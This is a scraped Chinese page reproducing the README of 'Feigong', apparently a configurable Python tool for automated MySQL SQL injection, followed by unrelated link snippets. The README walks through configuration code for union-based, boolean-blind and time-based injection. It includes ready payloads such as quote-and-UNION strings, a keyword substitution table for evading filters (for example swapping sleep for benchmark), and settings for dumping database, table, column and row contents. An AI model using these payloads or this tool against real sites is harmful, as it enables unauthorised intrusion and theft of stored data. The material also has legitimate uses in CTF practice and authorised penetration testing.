Feigong --非攻 非攻

取自《秦时明月》--非攻,针对不同情况自由变化的武器

Feigong,针对各种情况自由变化的mysql注入脚本

Feigong,In view of the different things freely change the mysql injection script

什么是非攻?

在sqlmap的使用过程中,常常碰到很普通的绕过过滤方式,例如空格-->%0b、%0a,但是却没办法使用sqlmap来获取数据的情况,于是花了很长时间来完善脚本,让非攻可以通过修改config.py一个文件中的设置,让非攻在面对不同情况时成为了灵活多变的注入脚本...

非攻目前集成了对mysql的normal、build、time,3种注入方式...

在使用非攻之前

1、首先你需要找到一个注入点(在考虑写一个这样的工具)

2、判断数据库为mysql

3、通过巧妙地过滤可以获取数据

4、开始使用非攻

TODO 完成基本功能 优化log存储方式 优化build注入、time注入算法 优化解包函数,避免自定义解包 添加线程池优化注入速度 完善对拓展函数的支持 增加更多注入语句 增加更多绕过过滤方式 增加多种数据库 更新日志 2016-8-5 Feigong 0.9.9完成 增加 payload处理模块完成 2016-8-9 Feigong 1.0.0完成 增加 log对文件的输出 优化 部分错误处理 增加 较为完整的文档 2016-8-24 Feigong 1.0.1完成 优化 盲注算法 优化 整体结构 2016-8-25 Feigong 1.1.0完成 优化 time盲注算法,从100->7 2016-8-26 Feigong 1.1.1完成 优化 整体结构,避免了自定义解包函数 2016-8-27 Feigong 1.2.0完成 重构 config->config、advanced_config 优化 整体结构,大幅度减少冗余代码 使用文档 Feigong │ .gitignore │ feigong.py │ README.md │ ├─demo │ ├─demo1 │ │ advanced_config.py │ │ config.py │ │ │ └─demo2 │ advanced_config.py │ config.py │ ├─lib │ Conpayload.py │ data.py │ dealpayload.py │ log.py │ unpack.py │ __init__.py │ ├─log │ └─sqlier │ advanced_config.py │ config.py │ __init__.py │ ├─configuration │ buildconfig.py │ __init__.py │ ├─default │ advanced_config_default.py │ config_default.py │ __init__.py │ ├─tamper │ expand.py │ __init__.py │ └─techniques columns.py content.py database.py tables.py test.py __init__.py

Feigong一切一切的核心在于sqlier/config.py和sqlier/advanced_config.py,代码层的自定义可以面对任何情况

安装

你可以通过点击下载,或者git clone来获取源码

git clone https://github.com/LoRexxar/Feigong.git 使用

首先你需要安装依赖

pip install -r requirements.txt

打开对应Feigong的目录,跑一下默认demo看看结果

python feigong.py 开始

Feigong是通过修改sqlier/config.py & sqlier/advanced_config.py来实现注入的,config.py是feigong的基础配置,advanced_config.py是进阶配置,而default中是默认的配置文件,以免默认修改过后找不到正确的配置。

config.py是基础配置,只有基础配置完成的情况下才能进行正常的配置。

class BaseConfig: def __init__(self): """ 基类初始化,整个注入工具的核心配置 """ # 目标url self.url = 'http://demo.lorexxar.pw/get.php' # 请求头参数 # cookies = {"username":data,"path":"/admin/","domain":"451bf8ea3268360ee.jie.sangebaimao.com"} # self.headers = {"Cookie": "username=" + data + "; captcha=od8lgg6f7i71q16j9rd7p7j9a2; username=" + data} self.headers = {} # 传参方式 0为GET 1为POST SqliRequest = ( "GET", "POST" ) self.sqlirequest = SqliRequest[0] # 注入方式 0为正常 1为盲注 2为时间盲注 SqliMethod = ( "normal", "build", "time" ) self.sqlimethod = SqliMethod[1] """ 从这里开始,要进入对于payload的配置了,首先需要对注入语句进行配置,然后注入语句通过自定义的替换表,之后构造注入语句为请求 payload===>替换为指定payload===>自定义替换表===>请求===>开始注入 若为normal注入,必须构造返回BSqlier的payload,并通过test模式修改解包函数直至可以获取返回值(必须以空格为分隔符,结尾必须只有一个词(结尾可以通过修改自定义替换表中的值来修改)) eg: self.payload = "padding' union all select 1,'Feigong' #" 若为build注入,则为与、或条件构造,如果是与注入,padding必须为返回值的条件 eg: self.payload = "padding' && 2333 #" 若为time注入,则可以使用上面两种的任何一种,格式与其相符,同样,关键位置使用2333或者'Feigong'填充 eg: self.payload = "padding' union all select 1,'Feigong' #" eg: self.payload = "padding' && 2333 #" """ self.payload = "padding' && 2333 #" """ 配置请求,把请求中payload的位置设置为Feigong(如果拼错了就会全部无效...) self.requesetformat = "user=Feigong&passwd=ddog123&submit=Log+In" self.requesetformat = {"user": "Feigong", "password": "a"} """ self.requesetformat = "user=Feigong&passwd=ddog123&submit=Log+In" # self.requesetformat = {"user": "Feigong", "password": "a"} """ 在注入之前,你首先需要测试,test.py中包含所有的测试函数,包括test、get_now_database、get_version、get_user self.wtest是是否进入测试模式、测试模式优先级最高和普通模式不兼容,默认开启 而testmethod则是选择使用那种测试,互相兼容可以同时跑 """ self.wtest = False self.testmethod = { "test": 0, "database": 1, "version": 1, "user": 1 } """ 正式注入模式的选择,test模式开启时,无论正式注入模式是否开启都无效,默认开启 all为全部注入,将自动从database注入直到数据前10条 content为注入数据,可以预设columns、tables和database columns为注入列名,可以预设tables和database tables为注入表名,可以预设database database为注入表名 统一规则为如果不预设,则自动调用上一层的类获取数据 """ self.wsqli = True self.sqlilocation = { "content": 1, "columns": 1, "tables": 1, "database": 1 }

advanced_config.py是进阶配置,进阶配置可以配置一些特殊的请况

class AdvanceConfig(BaseConfig): def __init__(self): """ 进阶配置,如果对代码不够熟悉,建议不修改这部分配置 """ BaseConfig.__init__(self) # 版本号 self.version = "V1.2.0" # 初始化request self.s = requests.Session() # log日志级别,debug为显示大部分信息,info为注入结果的显示 LogLevel = ( logging.DEBUG, logging.INFO, logging.WARN ) self.loglevel = LogLevel[0] """ 若注入方式为build盲注,则通过返回长度判断 永真条件的长度(盲注时需要使用),默认为0,可设置, 如果不设置会默认使用self.payload获取的返回长度为self.len """ self.len = 0 """ 若注入方式为time,你需要设置延时,建议根据自己的网络环境选择,如果网络环境较差,建议还是大一点儿 建议2-5,现在版本还是单线程,所以时间盲注会比较慢... """ self.time = 3 """ database可以自定义,默认为空,若为空会调用get_database(),这里是一个列表,必须按照列表格式 self.databases_name = ['test', 'test2'](当然,如果database_name错误...则不会注到数据) """ # self.databases_name = ['hctfsqli1', 'test'] self.databases_name = [] """ 然后是table name,tables_name的格式为字典+元组 self.tables_name = {'hctfsqli1': ('test1', 'test2'), 'test',('test1', 'test2')}(如果有写错某些值,则会注不到数据) """ # self.tables_name = {'test': ('test',), 'hctfsqli1': ('hhhhctf', 'test', 'users')} self.tables_name = {} """ 然后是self.columns_name,columns_name的格式为字典套字典+元组 self.columns_name = {'test': {'test': ('test', 'test1', 'test2')}, 'test2': {'test': ('test', 'test1', 'test2')}} (同样,如果有写错的值,则会注入不到数据) """ # self.columns_name = {'test': {'test': ('test',)}, 'hctfsqli1': {'test': ('test1', 'testtest', 'flag1'), 'users': ('id', 'username'), 'hhhhctf': ('flag',)}} self.columns_name = {} """ 当选择注入content时,你需要指定输入数据的上限,默认为10 """ self.content_count = 10 """ 配置自定义替换表,合理的替换表配置远远可以替换出想要的所有情况payload """ self.filter = { # padding 为填充字段,build与注入要求padding必须为真值 'padding': 'user1', # 符号替换(url encode是get默认自带的,不需要修改) '\'': '\'', '\"': '\"', '&': '&', '|': '|', '>': '>', '<': '<', '=': '=', '.': '.', # 注入语句关键字替换 'union': 'union', 'select': 'SELECT', 'insert': 'insert', 'update': 'update', 'delete': 'delete', 'limit': 'limit', 'where': 'where', # 注入函数 'user': 'user', 'database': 'database', 'version': 'version', 'if': 'if', 'ifnull': 'ifnull', 'concat': 'concat', 'ascii': 'ascii', # hex()、bin() 'count': 'count', 'substring': 'substring', # mid()、substr() 'length': 'length', "sleep(" + repr(self.time) + ")": "sleep(" + repr(self.time) + ")", # benchmark() # 库名表名关键字 'information_schema': 'information_schema', 'schemata': 'schemata', 'schema_name': 'schema_name', 'tables': 'tables', 'table_name': 'table_name', 'columns': 'columns', 'column_name': 'column_name', # 然后是特殊的字符 ' ': ' ', # 由于过滤后自动进行url encode,所以替换表不能使用url encode过的字符,eg:%0a->\n %0b->\x0b '#': '#' # --+ } """ 初始化dealpayload类,传入self.sqlimethod,self.payload, self.requestformat, self.filter """ self.dealpayload = ConPayload(self.sqlirequest, self.payload, self.requesetformat, self.filter, self.time)

Feigong现在的版本还仅仅支持对于mysql的3种注入方式:

普通注入(normal):也就是会有返回的注入点 盲注(build):没有返回,但可以通过真假条件来判断执行结果 时间盲注(time):没有返回,但是可以通过返回请求的间隔时间来判断真假 基础配置

首先你需要进行基础的配置,首先是基础的目标url,请求头,传参方式,注入方式等...

# 目标url self.url = 'http://demo.lorexxar.pw/get.php' self.s = requests.Session() # 请求头参数 # cookies = {"username":data,"path":"/admin/","domain":"451bf8ea2881064151ee.jie.sangebaimao.com"} # self.headers = {"Cookie": "username=" + data + "; captcha=od8lgg6f7i71q16j9rd7p7j9a2; username=" + data} self.headers = {} # 传参方式 0为GET 1为POST SqliRequest = ( "GET", "POST" ) self.sqlirequest = SqliRequest[0] # 注入方式 0为正常 1为盲注 2为时间盲注 SqliMethod = ( "normal", "build", "time" ) self.sqlimethod = SqliMethod[0]

上面的每一步都给出了相应的参数,目标url中,不需要加上参数,关于参数的配置,我们会在后面进行...

ps:如果出现get和post请求都必须存在的情况,若注入点再post,可以直接把get请求代入到目标url中,如果反过来,则暂时不支持

注入方式的配置

根据这一段的选择,我们会在后面进行不同的配置选项

SqliMethod = ( "normal", "build", "time" ) self.sqlimethod = SqliMethod[0] normal

如果注入模式为normal,需要定义基础payload

self.payload = "padding' union all select 1,'Feigong' #"

normal注入的基础payload要求必须返回 Feigong

build

如果注入模式为build,则需要配置基础payload,设置真值是返回的页面长度

若为build注入,则为与、或条件构造,如果是与注入,padding必须为返回值的条件 eg: self.payload = "padding' && 2333 #"

对于真值时的返回长度,可自定义,也可以不定义,因为test.py中的test函数会自动设置self.len(使用基础payload)

self.len = 0 time

如果注入模式为time,除了要设置基础payload以外,还需要设置睡眠时间,这部分在进阶配置中,默认为2

self.time = 2

如果网络环境太差,建议(2-5)

若为time注入,则可以使用上面两种的任何一种,格式与其相符,同样,关键位置使用2333或者'Feigong'填充

eg: self.payload = "padding' union all select 1,'Feigong' #" eg: self.payload = "padding' && 2333 #" 配置请求格式

配置请求,把请求中payload的位置设置为Feigong(如果拼错了就会全部无效...)

self.requesetformat = "user=Feigong&passwd=ddog123&submit=Log+In" self.requesetformat = {"user": "Feigong", "password": "a"}

上面两个分别是对于get和post请求的请求格式

选择注入模式

在注入之前,你首先需要测试,test.py中包含所有的测试函数,包括test、get_now_database、get_version、get_user

self.wtest是是否进入测试模式、测试模式优先级最高和普通模式不兼容,默认开启

而testmethod则是选择使用那种测试,互相兼容可以同时跑

self.wtest = True self.testmethod = { "test": 0, "database": 1, "version": 1, "user": 1 }

在test成功后,就要开始正式的注入模式了...

正式注入模式的选择,test模式开启时,无论正式注入模式是否开启都无效,默认开启

content为注入数据,可以预设columns、tables和database,默认注入10条数据 columns为注入列名,可以预设tables和database tables为注入表名,可以预设database database为注入表名 统一规则为如果不预设,则自动调用上一层的类获取数据

self.wsqli = True self.sqlilocation = { "content": 1, "columns": 1, "tables": 1, "database": 1 } 进阶配置

在进阶配置中,我们是可以通过预设值来减少注入的范围

database可以自定义,默认为空,若为空会调用get_database(),这里是一个列表,必须按照列表格式(当然,如果database_name错误...则不会注到数据)

self.databases_name = ['hctfsqli1', 'test'] self.databases_name = []

然后是table name,tables_name的格式为字典+元组(如果有写错某些值,则会注不到数据)

self.tables_name = {'test': ('test',), 'hctfsqli1': ('hhhhctf', 'test', 'users')} self.tables_name = {}

然后是self.columns_name,columns_name的格式为字典套字典+元组(同样,如果有写错的值,则会注入不到数据)

self.columns_name = {'test': {'test': ('test',)}, 'hctfsqli1': {'test': ('test1', 'testtest', 'flag1'), 'users': ('id', 'username'), 'hhhhctf': ('flag',)}} self.columns_name = {}

当选择注入content时,你需要指定输入数据的上限,默认为10

self.content_count = 10 配置自定义替换表

这部分一是在进阶配置中

配置自定义替换表,合理的替换表配置远远可以替换出想要的所有情况payload

合理的配置替换表,可以定制任意payload,例如

#-->group by a# sleep(2)-->benchmark(10000000,sha(1))

总之,如果你对代码足够熟悉,可以生成任意payload

self.filter = { # padding 为填充字段,build与注入要求padding必须为真值 'padding': 'user', # 符号替换(url encode是get默认自带的,不需要修改) '\'': '\'', '\"': '\"', '&': '&', '|': '|', '>': '>', '<': '<', '=': '=', '.': '.', # 注入语句关键字替换 'union': 'union', 'select': 'SELECT', 'insert': 'insert', 'update': 'update', 'delete': 'delete', 'limit': 'limit', 'where': 'where', # 注入函数 'user': 'user', 'database': 'database', 'version': 'version', 'if': 'if', 'ifnull': 'ifnull', 'concat': 'concat', 'ascii': 'ascii', # hex()、bin() 'count': 'count', 'substring': 'substring', # mid()、substr() 'length': 'length', "sleep(" + repr(self.time) + ")": "sleep(" + repr(self.time) + ")", # benchmark() # 库名表名关键字 'information_schema': 'information_schema', 'schemata': 'schemata', 'schema_name': 'schema_name', 'tables': 'tables', 'table_name': 'table_name', 'columns': 'columns', 'column_name': 'column_name', # 然后是特殊的字符 ' ': ' ', # 由于过滤后自动进行url encode,所以替换表不能使用url encode过的字符,eg:%0a->\n %0b->\x0b '#': '#' # --+ } 开始注入

开始注入

python feigong.py

post可以直接把get请求代入到目标url中的更多相关文章

  1. IE内核发送ajax请求时不会将url中的参数编码

    有一次用户遇到创建文件,名称为中文时乱码的问题. 经调查,发现用户使用的是国产浏览器ie模式 抓取请求发现 IE: 键 值请求 POST /Handlers/CreateTxtFile.ashx?fi ...

  2. curl请求的url中含有空格

    curl请求的url中含有空格时(例如rul的参数是sql查询语句,url=www.tets.com/query.php?sql=select * from t1),curl_easy_perform ...

  3. cookie是指web浏览器存储的少量数据,该数据会在每次请求一个相关的URL时自动传到服务器中(转)

    基本概念:cookie是指web浏览器存储的少量数据,该数据会在每次请求一个相关的URL时自动传到服务器中. 以博客园为例,我们看看cookie有哪些属性: 1.Name:cookie的名称: 2.V ...

  4. ajax请求返回数据,模板中的数据处理

    /*ajax请求返回数据,模板中的数据处理*/ function QueryGameAsset(){ var new_start_time=$('#new_start_time').val();//开 ...

  5. 关于Retrofit网络请求URL中含有可变参数的处理

    开题:在此默认各位看官对Retrofit.以及Okhttp已经有过一定的了解及应用,所以今天我们不谈基础入门的东西,今天我们谈在Retrofit请求接口管理类中URL参数含有动态参数的处理方式.一般我 ...

  6. js处理url中的请求参数(编码/解码)

    在处理 a 链接跳转其他页面时,总会遇到需要传递一些当前页面的信息到其他页面,然后其他页面利用这些信息进行相关操作.利用 get 请求或 hash 传递是常见的方式. 首先,需要对传递的参数进行编码, ...

  7. cnzz 模拟请求登录(传入url get data ) demo

    /** * * @Title: init * @Description: TODO 初始化httpclien * @param url * cnzz对应的链接 * @param password * ...

  8. 设计一个方法injectBeforeAsyncSend,能够实现如下功能:在发起异步请求之前打印出请求的类型、URL、method、body、timestamp 等信息。

    异步请求逻辑注入 工作中我们需要对异步请求的请求信息打印日志,但是又不能耦合在业务代码中打印.请设计一个方法injectBeforeAsyncSend,能够实现如下功能:在发起异步请求之前打印出请求的 ...

  9. 0057 Spring MVC如何获取HTTP请求头信息--URL中的动态参数--@RequestHeader--@CookieValue--@PathVariable

    获取HTTP请求头信息 一个HTTP请求除了有参数和实体内容外还有HTTP请求头信息,Spring MVC也可以获取这部分信息 @RequestHeader解可以将请求头信息映射到处理方法的形参上 @ ...

随机推荐

  1. 前台js分页,自己手写逻辑

    js代码如下: //设置分页 var pageSize = 10; //设置一次显示多少页 var pageLimit = 5; $(function(){ //查询所有内容 $.post(ctx + ...

  2. 获取4G以上的文件大小

    1.DWORD dwFileSizeHigh;  // 得到文件大小的高位  __int64 qwFileSize = GetFileSize(m_hSrcBigFile, &dwFileSi ...

  3. ligureUI 刷新列求和

    dataGrid=$("#dataGrid").ligerGrid({ columns: [ {display:, align:'left' }, {display:, align ...

  4. Machine Schedule(poj 1274)

    题目大意:有n个奶牛和m个谷仓,现在每个奶牛有自己喜欢去的谷仓,并且它们只会去自己喜欢的谷仓吃东西,问最多有多少奶牛能够吃到东西 输入第一行给出n与m 接着n行 每行第一个数代表这个奶牛喜欢的谷仓的个 ...

  5. solr6.0学习

    solr6.0学习(一)环境搭建准备工作:目前最新版本6.0.下载solr 6.0:Solr6.0下载JDK8 下载jdk1.8:jdk1.8[solr6.0是基于jdk8开发的]tomcat8.0 ...

  6. 调试工具GDB详解

    1 简介 2 生成调试信息 3 启动GDB 的方法 4 程序运行上下文 4.1 程序运行参数 4.2 工作目录 4.3 程序的输入输出 5 设置断点 5.1 简单断点 5.2 多文件设置断点 5.3 ...

  7. mac安装nginx

    1,http://nginx.org/en/download.html下载http://nginx.org/download/nginx-1.2.0.tar.gz 2,tar -xf nginx-1. ...

  8. Java Hour 32 Weather ( 5 ) struts2 – Action class

    有句名言,叫做10000小时成为某一个领域的专家.姑且不辩论这句话是否正确,让我们到达10000小时的时候再回头来看吧. Hour 32 Struts2 Action 1 将action 映射到 ac ...

  9. MySQL支持的列类型

     MySQL支持大量的列类型,它可以被分为3类:数字类型.日期和时间类型以及字符串(字符)类型.本节首先给出可用类型的一个概述,并且总结每个列类型的存储需求,然后提供每个类中的类型性质的更详细的描述. ...

  10. HyperLink控件

    设置链接 NavigateUrl 填写链接 text 属性 为显示内容